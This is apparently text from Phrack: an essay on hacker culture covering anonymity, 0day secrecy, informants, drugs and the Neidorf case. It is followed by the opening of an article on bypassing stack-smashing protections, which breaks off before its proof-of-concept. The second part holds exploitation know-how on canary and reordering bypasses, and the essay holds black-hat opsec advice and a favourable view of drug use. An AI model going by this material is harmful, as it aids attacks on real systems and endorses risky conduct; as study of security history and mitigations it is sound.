Sorry to destroy the myth but the average hacker is just an intellectual. Of course, there are true geniuses amongst us but the fundamental difference lies in the willingness to exploit our brain as much as possible in order to ask the essential questions as well as to find the appropriate answers.

There is usually no need to be brilliant to impress people with hacking. Let me make an analogy to magicians. Even the simplest tricks are amazing for people who don't know how they are working. Things are the same in hacking. Daily life hacking is probably more about using thousands of cheap tricks but people are not aware of that. Since this kind of cheap hacking has visible consequences for the masses, hackers are falsely assumed to be the geniuses described in movies.

Personality

‑‑‑‑‑‑‑‑‑‑‑

Most hackers are computer 'freaks' able to spend hours in front of their screen in order to solve a particular problem. In a way, hackers are geeks and there are thousands of them.

That said, it must be added that they have this unusual characteristic growing with time: the obsessional will to discover incoherency, mistakes (having impacts in security or not) in everyday life. As I said, a hacker is probably not smarter than you, but he/she is way more focused.

What may be cool at first sight is sometimes heavy to carry. Imagine yourself analyzing everything. Not only is that painful for others (friends, coworkers, family, lovers) to have this kind of person around but it can also be troublesome for you. Indeed you will sometimes be mad because of all these daily pieces of nonsense that ordinary people do not notice. Probably because of that, some hackers assume that they are smarter than the rest of the world, sometimes internally thinking they are some House‑like guy, and quickly develop unfortunate ego issues which are discussed later.

Social profile

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once again, it would be easy to draw quick conclusions based on collective imagery and again, there is no simple description as it's impossible to generalize. The social profile of individuals is a mix of both their personality and their evolution.

Amongst the hackers I've met around the world, I can say that I've seen people who are:

‑ socially isolated / barely capable of having a proper conversation ‑ "normal" (taking into account the usual criteria)

‑ extroverts always talking to everybody everywhere they go

Personally I would say that I quickly understood that a social life was important, not to say necessary. Having natural tendencies to be an introvert, I've worked with myself to reach a stable equilibrium.

Note that I try as much as possible not to mix my activities and my social life. The reason is simple: as I said, people around me are not able to understand (because of the lack of technical background) nor really willing to understand it (because of the prejudices coming from the media). Anyway this is not that bad, considering the security consequences of being a chatterbox.

~~~

‑‑( Why they must lurk in the shadows of anonymity )‑by The Analog Kid

Those who do choose to share their information generally publish under anonymous aliases so as to protect their true identity. Publishing articles under anonymous screen names is in stark contrast to academia, where the goal is to have as much information published with your name as possible. Part of why academia admires Phrack Inc. is that by retaining anonymity, its members are free to discuss topics at will without concern for "political fallout. Some of the authors of Phrack Inc. are listed as, "nemo, "huku, and "BSDaemon [5]. As a case study in this anonymous culture, the introduction of Phrack Inc. issue 66, contains a good‑bye to a friend: "cliph [4]. No other information is given. I inadvertently stumbled across the identity of this Cliph while reading an article on a different web‑site, which stated that, "This post is dedicated to Wojciech "cliph Purczynski. [6]. Even with the full name available, a search for information yields no clues as to what became of this individual. Multiple tributes to the individual known as "cliph show that within the hacker community there is respect and recognition to the most skilled members; this is not different than academia.

The issue of using anonymous screen names is directly confronted at the end of the "Malloc DES‑Maleficarum article, where the author comments on a quote by Eric S. Raymond who criticizes the use of such false names. The author confronts the reader with the question, "Is there some connection between our name and our skills, philosophy of life or our ethics in hacking [7]? The author ‑‑ intending to speak for the community as a whole ‑‑ argues that the means by which they identity themselves is a result of society's judgement on computer hackers and not a reflection of the people. It is interesting that an American, Eric Raymond, would place heavy emphasis on the personal ownership of ideas, a very American value. The Phrack Inc. community, undoubtedly as global as the Internet within which it exists, shows interest in expanding knowledge and the ideas of others, rather than taking personal ownership of static concepts.

In its layout, Phrack Inc. exhibits a much more informal nature than formal publications. Consider for example, the previously mentioned article "Malloc DES‑Maleficarum. The title is a clear allusion to the Malleus Maleficarum, a treatise on witches published in 1486 during the inquisition [8]. By invoking references to witchcraft the journal is again making light of the negative connotations society imposes upon it. The section headings too are of an unconventional nature: "The House of Mind, "The House of Prime, "The House of Spirit, "The House of Force, "The House of Lore, and "The House of Underground [7]. Article 5, "Backdooring Juniper Firewalls, also makes reference to movies in it sections headings, with titles such as "Netscreen of the Dead, and "28 Hacks Later [10]. The references to Medieval texts and creative naming schemes demonstrates a level of culture and sophistication (as well as humor) within the community.

Although the space here would not allow for such discussion, the audience might stop for a moment and consider what it means to be an author, and whether a legal name is truly required to identify a work as one's own. In Michael Foucault's essay, "What Is an Author?, Foucault decrees that, "The author function is linked to the juridical and institutional system that encompasses, determines, and articulates the universe of discourses [12]. If this statement is accurate, then the function of the author at Phrack Inc. is to allow the free distribution of material that might otherwise be censored. The raids and indictment of founding Phrack Inc. members discussed at the beginning show the severe role that the global juridical system has in directing Phrack Inc's style of discourse. If "institutional [12] refers to the ad hoc rules of morality and ethics imposed by society, then this again forces the Phrack Inc. contributors into an anonymous universe of discourse, as society might forsake these contributors. Consider how a deep and publicized knowledge of controversial computer hacking methods might be a black mark on the reputation of any programmer applying for work with a large corporation.

The need to protect ones identity, and avoid public recognition for their discoveries, is one of the downsides that comes with being a member of the hacker community.

~~~

‑‑( The downside of a hacking life )‑‑

by Antipeace

Consider life in general. People are not always happy because they are bothered with random things such as the neighbor's dog always barking for nothing, their child having bad grades at school, etc. The modern world is full of stress and there is nothing to do but to bear it.

Hacking certainly has cool aspects (though contrary to movies, in the end you won't get the girl after saving the world) but it also has side effects that are added to the current level of daily stress. Occasionally, you will be angry or anxious. You may even become paranoid at some point. This is mainly what I call the downside of the hacking life.

The disclosure war

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well this is a hot topic. To simplify things for those who are unfamiliar, let's say that the hacking scene is divided in two groups of individuals:

‑ people publishing (or willing to publish) bugs, exploits, papers ‑ people who want to keep these things secret or at the very least within the underground

Though clearly belonging to the second group, I won't try to convince you that disclosure is bad as the arguments for both sides are valuable. I just choose my side. However, I can tell you how this issue may affect you or your friends.

If you are a so called 'black hat', then there is a good chance that you have developed techniques or exploits based on your own discoveries. Ten years ago, if you were smart/skilled enough, being innovative could bring you new kickass tools/exploits in a matter of hours or days at the very least. Things are a bit different nowadays and the required time for giving birth has increased a lot (though virtualization and generalization of scripting languages helped a lot). If you consider remote exploits targeting C programs, it takes so much time to find and exploit bugs that the cost of doing so is now insane. Now imagine that you've been working on a particular bug for weeks / months. How would you react if some guy were to publish it as a full disclosure? Oh you would be angry, and you may even be willing to kill him. The fact that the bug may have been leaked or that the guy releasing may not have understood the bug properly would only exacerbate your feelings.

The ring of trust

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What ever hacking activities you have, there is little doubt that you won't remain alone. Socially speaking, at some point you will try to be part of a community or part of a group because:

‑ you will want to find people able to understand what you are doing ‑ you will want to share information

This will bring the unavoidable question of the amount of trust that you can place in fellow hackers. Ironically this is a security problem and as such it must be solved before exchanging anything. Practically speaking, we all make the same mistake at least once: we trust and we are betrayed.

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

He that has eyes to see and ears to hear may convince himself that no mortal can keep a secret. If his lips are silent, he chatters with his fingertips; betrayal oozes out of him at every pore.

Sigmund Freud

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Amongst the consequences of information leaks, I've personally been the witness of the two following sad things:

‑ Busts. Never forget that there may be people leaking information to the government agencies amongst us. While it's true that most people will unintentionally leak, some of them may be directly working for the gov either because they got busted themselves and had no choice but to cooperate or because they were the enemy from the very beginning. Also one piece of advice, do not make the mistake of assuming that your friends will be mute once caught, we're only human beings.

‑ 0day leaks. Fortunately it happens more often than the previous case. Whenever you see the price of bugs (or of the exploits), you can imagine how much of a temptation it can be to sell them if you are some jackass. But how would the asshole get the information?

I came up with a theory. Because of the very nature of our research, I believe that the more innovative/kickass/time‑consuming it is, the more likely you will be to share the information with at least someone else. It's just like owning some big secret that you can't share with anyone. Now consider the analogy of a pebble being thrown on the surface of a pond. Each time the pebble hits the surface, waves propagate. If the pebble is the information then the waves are the leak. One strike may induce countless waves: your 0day is condemned to death.

Now a personal message for my fellow hackers. If you want to avoid these pinches on your chest when your precious bugs are disclosed, there is only one thing to do: stop crying over your loss and next time shut the fuck up. Nothing else is working, you should know that.

This trust must be placed with time. I would also recommend the GPG chain of trust model. It's not flawless (and far from it, believe me) but it may be a good alternative. It will allow you to release the tension of having to always keep things to yourself, and yet doing it in a 'controlled' way...

Ego and acknowledgment

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It usually takes time to be mentally strong. No matter how smart people are, they will have ego issues at some point in their hacking life. The problem is that ego is responsible for the urge for acknowledgment that push people to:

‑ disclose security flaws & exploits

‑ publish and display themselves more than required in conferences ‑ spend time on IRC / ML explaining to the world how cool they are

Don't get me wrong, this is not a complaint against disclosure. Some people choose to disclose bugs and/or techniques out of their own free will. This is their choice and I respect that. Now things are different when your mind is fucked because of your increasing ego.

Like I said, everyone in our community is fucked at some point in his life, loses common sense and ends up doing stupid things. Of course, I'm no exception as I've done things I'm not proud of years ago. While this ego thing is supposed to be a short period in your life (people grow up), it seems that part of the security circus definitely lost itself.

Drugs & alcohol

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To tell you the truth I have no real explanation about our insane alcohol consumption. I guess this is just part of the culture. Whenever you see your friends, you have to drink and with time, you'll drink more and more often (though not as much as .pl guys, damned crazy drunken bastards ;>). However while your physical (kidney) tolerance increases with time, the vicious side effect of alcohol will remain: while drunk you will be more likely to leak information. My advice: if you have little control over yourself, do not heavily drink with unknown people.

Amongst fellow hackers, most drug users that I know tried many things out of curiosity and a willingness to experiment, which are both part of their hacker nature. They also take drugs to enhance their creativity or their ability to concentrate. As such, drugs may have a positive impact on your hacking.

I doubt I will ever see a hacker amongst high level athletes ;‑)

~~~~

‑‑( Of the indictment and the witch hunt )‑by The Analog Kid

So then what of Phrack Inc.? If not academic or professional in nature, can it be dismissed as merely the mischievous work of hooligans? Certainly the technical expertise and respect the journal has gained within academia and the professional world shows that this work is not easily dismissed as trivial. What of its ethics then? What really is the genre and purpose of Phrack Inc.?

On July 23, 1990 the trial of Craig Neidorf, the 19 year old pre‑law student who founded Phrack Inc. out of a desire to exercise free speech, began. Neidorf was indicted on 10 felony counts carrying a maximum penalty of 65 years in prison, primarily related to the theft of a proprietary Bell South document claimed to be worth $23,000. After the defense demonstrated that the information Neidorf was accused of stealing could be obtained from Bellcore by calling a 800 number and paying a $13 fee, the government was forced to drop all charges to avoid utter embarrassment [11].

On the surface the actions of Craig Nedorf seemed sinister and criminal in nature. The facts of the case however, showed the below the surface were innocent intentions mislabeled by the institutions of society. Although society may view Phrack Inc. as devious and criminal, what really lies behind the facade is a journal of credible intellectual material that, while coming from a different culture, rivals that of academia. The members of this community all have their own unique experiences and views and we can learn a lot about society and the flow of information by listening to what these people have to say.

~~~

‑‑( So in the end... )‑‑

by Antipeace

When I was a child I wanted to be one of them, I wanted to be a hacker. More than two decades later, not only have I finally fulfilled this dream but I have also gathered enough experience to analyze the impact that it has had on my life.

Clearly it brought me a lot. Not only have I met the most fascinating people of my life, but it gave me this feeling that no matter how fucked things could be around us, I would always be able to see through it.

However living a hacker's life wasn't harmless as I experimented with a few unpleasant things, which even now still have (minor) impacts on my life. Without a doubt, the more you experiment, the stronger you become. That's why I will never regret having chosen this path.

I wrote this paper as an anonymous author (ego issues being mostly behind me at the time of writing) with the hope that people interested in the underground culture would read it. I tried to focus on the more interesting points. There is a lot more that could be developed as I only threw a few ideas around, sometimes exclusively mine, sometimes shared by fellow hackers and friends.

~~~

‑‑( A Closing Note )‑‑

by The Analog Kid

And so two stories, from two hackers, have been fused in time and presented to you here at Phrack Inc. We hope you learned something about the culture One story was written by a hacker speaking of his own life; the other was a story hoping to analyze the hacker culture, and Phrack's place in discourse, on a large scale.

We hope you learned something about who these "hackers" seen in media references are, what they believe, and what drives them.

~~~

‑‑( Acknowledgments )‑‑

by The Analog Kid

First I give a tip of the hat to Rutty for teaching me how to write, and still teaching me to write years later. To Roadie for teaching me how to write, skipping town, and never teaching me how to write again. To Bearz for showing me how to work outside the box. And to Ziggy for condensing whole paragraphs of mine into single sentences. :) Without L.A. this paper would have lacked much of its direction, and in fact the W.C. made substantial contributions. Finally, thanks to al1c3_c00p3r for helping me to polish the final product.

~~~

‑‑( Acknowledgments )‑‑

by Antipeace

To my friends... Special fuck to kingc0pe and his fellow cockroaches.

~~~

‑‑( References )‑‑

by The Analog Kid

[1] Phreak_Accident. (2010, September 21) Phrack World News: Issue XXXI, Part Three. [Online].

Available: http://phrack.org/issues.html?issue=31&id=10#article

[2] DH. (2010, September 21) Intro to Phrack 31. [Online]. Available: http://phrack.org/issues.html?issue=31&id=1#article

[3] W. Sturgeon. (2010, September 21) Long‑lived Hacker Mag Shuts Down. [Online].

Available: http://news.cnet.com/Long‑lived‑hacker‑mag‑shuts‑down/2100‑

7349_3‑5783383.html

[4] The Circle of Lost Hackers. (2010, September 16) Introduction. [Online].

Available: http://phrack.org/issues.html?issue=66&id=1#article

[5] (2010, September 16) Phrack Authors. [Online]. Available: http://phrack.org/authors.html

[6] B. Hawkes. (2010, September 19) Linux Compat Vulns (part 2). [Online]. Available: http://sota.gen.nz/compat2/

[7] blackngel. (2010, September 15) Malloc DES‑Maleficarum. [Online]. Available: http://phrack.org/issues.html?issue=66&id=10#article

[8] (2010, September 18) The Malleus Maleficarum. [Online]. Available: http://www.malleusmaleficarum.org/

[9] L. Highsmith. (2010, September 19) Linux Kernel Heap Tampering Detection. [Online].

Available: http://phrack.org/issues.html?issue=66&id=15#article

[10] Graeme. (2010, September 19) Netscreen of the Dead: Developing a Trojaned Firmware for Juniper ScreenOS Platforms. [Online]. Available: http://phrack.org/issues.html?issue=66&id=5#article

[11] D. Denning, "The United States Vs. Craig Neidorf: a Debate on Electronic Publishing, Constitutional Rights and Hacking." Communications of the ACM, 1991.

[12] M. Foucault, The Foucault Reader, P. Rainbow, Ed. Vintage, 1984.

[13] (2010, September 26) Phrack Magazine. [Online].

Scraps of notes on remote stack overflow exploitation

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x0d of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑=[ Scraps of notes on remote stack overflow exploitation ]=‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Adam 'pi3' Zabrocki ‑ pi3 (at) itsec pl ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ Contents

1 ‑ Introduction

2 ‑ Anti Exploitation Techniques

3 ‑ The stack cookies problem

3.1 ‑ A story of cookie protection

3.2 ‑ The canary security

3.3 ‑ Exploiting canaries remotely

4 ‑ A few words about the other protections

5 ‑ Hacking the PoC

6 ‑ Conclusion

7 ‑ References

8 ‑ Appendix ‑ PoC

8.1 ‑ The server (s.c)

8.2 ‑ The exploit (moj.c)

‑‑‑[ 1. Introduction

Before the main topic of this article starts I would like to say, this paper describes a few little techniques based on small observations related to the POSIX standard. This observation open a small door for us to use a mix of well known exploitation techniques for bypassing modern security mechanisms / systems.

Nowadays, finding a stack overflow error does not imply a successful attack on the system. Bah! Nowadays, it is much harder, nearly impossible to do a remote attack. This is because of the new security patches which strongly increase the difficulty of exploiting bugs. We have a really impressive number of different kind of patches that protect against attacks in different layers and use different ideas. Let's look at the most popular and typically used ones in modern *NIX systems.

‑‑[ 2. Anti Exploitation Techniques

*) AAAS (ASCII Armored Address Space)

AAAS is a very interesting idea. The idea is to load libraries (and more generally any ET_DYN object) in the 16 first megabytes of the address space. As a result, all code and data of these shared libraries are located at addresses beginning with a NULL byte. It naturally breaks the exploitation of the particular set of overflow bugs in which an improper use of the NULL byte character leads to the corruption (for example strcpy() functions and similar situations). Such a protection is intrinsically not effective against situations where the NULL byte is not an issue or when the return address used by the attacker does not contain a NULL byte (like the PLT on Linux/*BSD x86 systems). Such a protection is

used on Fedora distributions.

*) ESP (Executable Space Protection)

The idea of this protection mechanism is very old and simple. Traditionally, overflows are exploited using shellcodes which means the execution of user supplied 'code' in a 'data' area. Such an unusual situation is easily mitigated by preventing data sections (stack, heap, .data, etc.) and more generally (if possible) all writable process memory from executing. This cannot however prevent the attacker from calling already loaded code such as libraries or program functions. This led to the classical return‑into‑libc family of attacks. Nowadays all PAE or 64 bits x86 linux kernel are supporting this by default.

*) ASLR (Address Space Layout Randomization)

The idea of ASLR is to randomize the loading address of several memory areas such as the program's stack and heap, or its libraries. As a result even if the attacker overwrites the metadata and is able to change the program flow, he doesn't know where the next instructions (shellcode, library functions) are. The idea is simple and effective. ASLR is enabled by default on linux kernel since linux 2.6.12.

*) Stack canaries (canaries of the death)

This is a compiler mechanism, in contrast to previously kernel‑based described techniques. When a function is called, the code inserted by the compiler in its prologue stores a special value (the so‑called cookie) on the stack before the metadata. This value is a kind of defender of sensitive data. During the epilogue the stack value is compared with the original one and if they are not the same then a memory corruption must have occurred. The program is then killed and this situation is reported in the system logs. Details about technical implementation and little arm race between protection and bypassing protection in this area will be explained further.

‑‑[ 3. The stack cookies problem

‑‑[ 3.1. A story of cookie protection

There were / are many of its implementations. Some of them are better while others are worse. Definitely the best implementation is SSP (Stack Smashing Protector), also known as ProPolice which is our topic and has been included in gcc since version 4.x.

How do those canaries work? At the time of creating the stack frame, the so‑called canary is added. This is a random number. When a hacker triggers a stack overflow bug, before overwriting the metadata stored on the stack he has to overwrite the canary. When the epilogue is called (which removes the stack frame) the original canary value (stored in the TLS, referred by the gs segment selector on x86) is compared to the value on the stack. If these values are different SSP writes a message about the attack in the system logs and terminate the program.

When a program is compiled with SSP, the stack is setup in this way:

| ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| N ‑ Argument for function |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| N‑1 ‑ Argument for function |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 2 ‑ Argument for function |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 ‑ Argument for function |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Return Address |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Frame Pointer |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| xxx |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Canary |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Local Variables |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ...

What is an 'xxx' value? So... It is very common that gcc adds some padding on the stack. In compilers of the 3.3.x and 3.4.x versions it is usually 20 bytes. It prevents exploiting off‑by‑one bugs. This article is not about this solution either, but we should be aware of that.

The reordering issue

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bulba and Kil3r published a technique in their phrack article [1] on how to bypass this security protection, if the local variables are in this kind of configuration:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int func(char *arg) {

char *ptr;

char buf[MAX];

...

memcpy(buf,arg,strlen(arg));

...

strcpy(ptr,arg);

...

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this situation we don't need to overwrite the canary value. We can simply overwrite the ptr pointer with the return address. Since it's used as the destination pointer of a memory copy then we can set what we want and where we want (which includes the return address) without touching the canary:

| ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| arg ‑ Argument for function |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑> | Return Address |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | Frame Pointer |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | xxx |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | Canary |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑ | char *ptr |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| char buf[MAX‑1] |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| char buf[MAX‑2] |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| char buf[0] |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ...

In this kind of situation, if an attacker can directly (or not) modify a pointer, the canaries of the death may fail!

In fact SSP is much more complicated and advanced than other implementations of the canaries of the death (e.g. StackGuard). Indeed SSP also uses some heuristic to order the local variables on the stack.

For example, imagine the following function:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int func(char *arg1, char *arg2) {

int a;

int *b;

char c[10];

char d[3];

memcpy(c,arg1,strlen(arg1));

*b = 5; memcpy(d,arg2,strlen(arg2)); return *b;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In theory the stack should more or less look like that:

(d[..]) (c[..]) (*b) (a) (...) (FP) (IP)

But SSP changes the order of the local variables and the stack will instead look like this:

(*b) (a) (d[..]) (c[..]) (...) (FP) (IP)

Of course SSP always adds the canary. Now the stack looks really bad from the attacker's point of view:

| ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|arg1 ‑ Argument for function |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|arg2 ‑ Argument for function |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Return Address |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Frame Pointer |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| xxx |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Canary |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| char c[..] |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| char d[..] |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| int a |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| int *b |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Copy of arg1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Copy of arg2 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ...

SSP always tries to put all buffers close to the canary, while pointers as far from the buffers as it can. The arguments of the function are also copied in a special place on the stack so that the original arguments are never used.

With such a reordering the chances to overwrite some pointers to modify the control flow seem low. It looks like an attacker doesn't have any other option than a mere bruteforce to exploit stack overflow bugs, does he? :)

The limitations of SSP

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Even SSP is not perfect. There are some 'special' cases when SSP can't create a 'safe frame'. Here are some of the known situations:

*) SSP does NOT protect each buffer separately. When data on the stack is reordered in a safe way we can still overwrite the buffer by another buffer. If there are many buffers, all of them will be put close to each other. We can imagine the situation when a buffer, which is before another buffer, can overwrite it. If there are data used by the application for the control flow in the overflown buffer, then a door is open and depending on the program it may be possible to exploit this control.

*) If we have structures or classes, SSP will NOT reorder the arguments inside of this data area.

*) If the function accepts a variable number of arguments (such as *printf()) then SSP will not know how many arguments to expect. In this situation the compiler will not be able to copy the arguments in a safe location.

*) If the program uses the alloc() function or extends the standard C language on how to create a dynamic array (e.g. char tab[size+5]) SSP will place all this data on top of the frame. People interested in dynamic arrays should read andrewg's phrack paper on the subject [13].

*) In most cases, when the application "plays" with virtual functions in C++, it is hard to create a 'secure frame' ‑ for detailed information please read reference [2].

**) Some distributions (like Ubuntu 10.04) have a canary which is masked by value 0x00FFFFFF. The NULL byte will be always there.

**) StackGuard v2.0.1 always uses the static canary 0x000AFF0D. These bytes weren't chosen randomly. The 0x00 byte is for stopping the copy of strings arguments. The 0x0A byte is the 'new line' and it can stop reading bytes by function like *gets(). The byte 0xFF and 0x0D ('\r') can sometimes stop copying process too. If you check the value of terminator canary generated by SSP on non system‑V you will discover it is almost the same. StackGuard add also the byte '\r' (0x0D) which SSP doesn't.

‑‑‑[ 3.2 ‑ The canary security

Beginning from the gcc version 4.1 stage2 [6], [7] the Stack Smashing Protector is included by default. Gcc developers reimplemented IBM Pro Police Stack Detector. Let's look at its implementation under the loupe. We need to determine:

*) If the canary is really random

*) If the address of the canary can be leaked

The runtime protection

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If we look inside a protected function we can find the following code added by SSP to the epilogue:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x0804841c <main+40>: mov ‑0x8(%ebp),%edx

0x0804841f <main+43>: xor %gs:0x14,%edx

0x08048426 <main+50>: je 0x804842d <main+57>

0x08048428 <main+52>: call 0x8048330 <__stack_chk_fail@plt>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This code retrieves the local canary value from the stack and compares it with the original one stored in the TLS. If the values are not the same, the function __stack_chk_fail() takes control.

The implementation of this function can be found in GNU C Library code in file "debug/stack_chk_fail.c"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdio.h>

#include <stdlib.h>

extern char **__libc_argv attribute_hidden;

void

__attribute__ ((noreturn))

__stack_chk_fail (void)

{

__fortify_fail ("stack smashing detected");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What is important is that this function has the attribute "noreturn". That means (obviously) that it never returns. Let's look deeper and see how. The definition of the function __fortify_fail() can be found it in file "debug/fortify_fail.c"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdio.h>

#include <stdlib.h>

extern char **__libc_argv attribute_hidden;

void

__attribute__ ((noreturn))

__fortify_fail (msg)

const char *msg;

{

/* The loop is added only to keep gcc happy. */

while (1)

__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>");

}

libc_hidden_def (__fortify_fail)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So __fortify_fail() is a wrapper around the function __libc_message() which in turn calls abort(). There is indeed no way to avoid it.

The initialisation

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's have a look at the code of the Run‑Time Dynamic Linker in "etc/rtld.c". The canary initialisation is performed by the function security_init() which is called when the RTLD is loaded (the TLS was init by the init_tls() function before):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static void

security_init (void)

{

/* Set up the stack checker's canary. */

uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (); #ifdef THREAD_SET_STACK_GUARD

THREAD_SET_STACK_GUARD (stack_chk_guard);

#else

__stack_chk_guard = stack_chk_guard;

#endif

[...] // pointer guard stuff

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The canary value is created by the function _dl_setup_stack_chk_guard(). In original implementation published by IBM it was the function __guard_setup.

Depending on the operating system, the function _dl_setup_stack_chk_guard() is either defined in file "sysdeps/unix/sysv/linux/dl‑osinfo.h" or in file "sysdeps/generic/dl‑osinfo.h"

If we go to the UNIX System V definition of the function we will find:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static inline uintptr_t __attribute__ ((always_inline)) _dl_setup_stack_chk_guard (void)

{

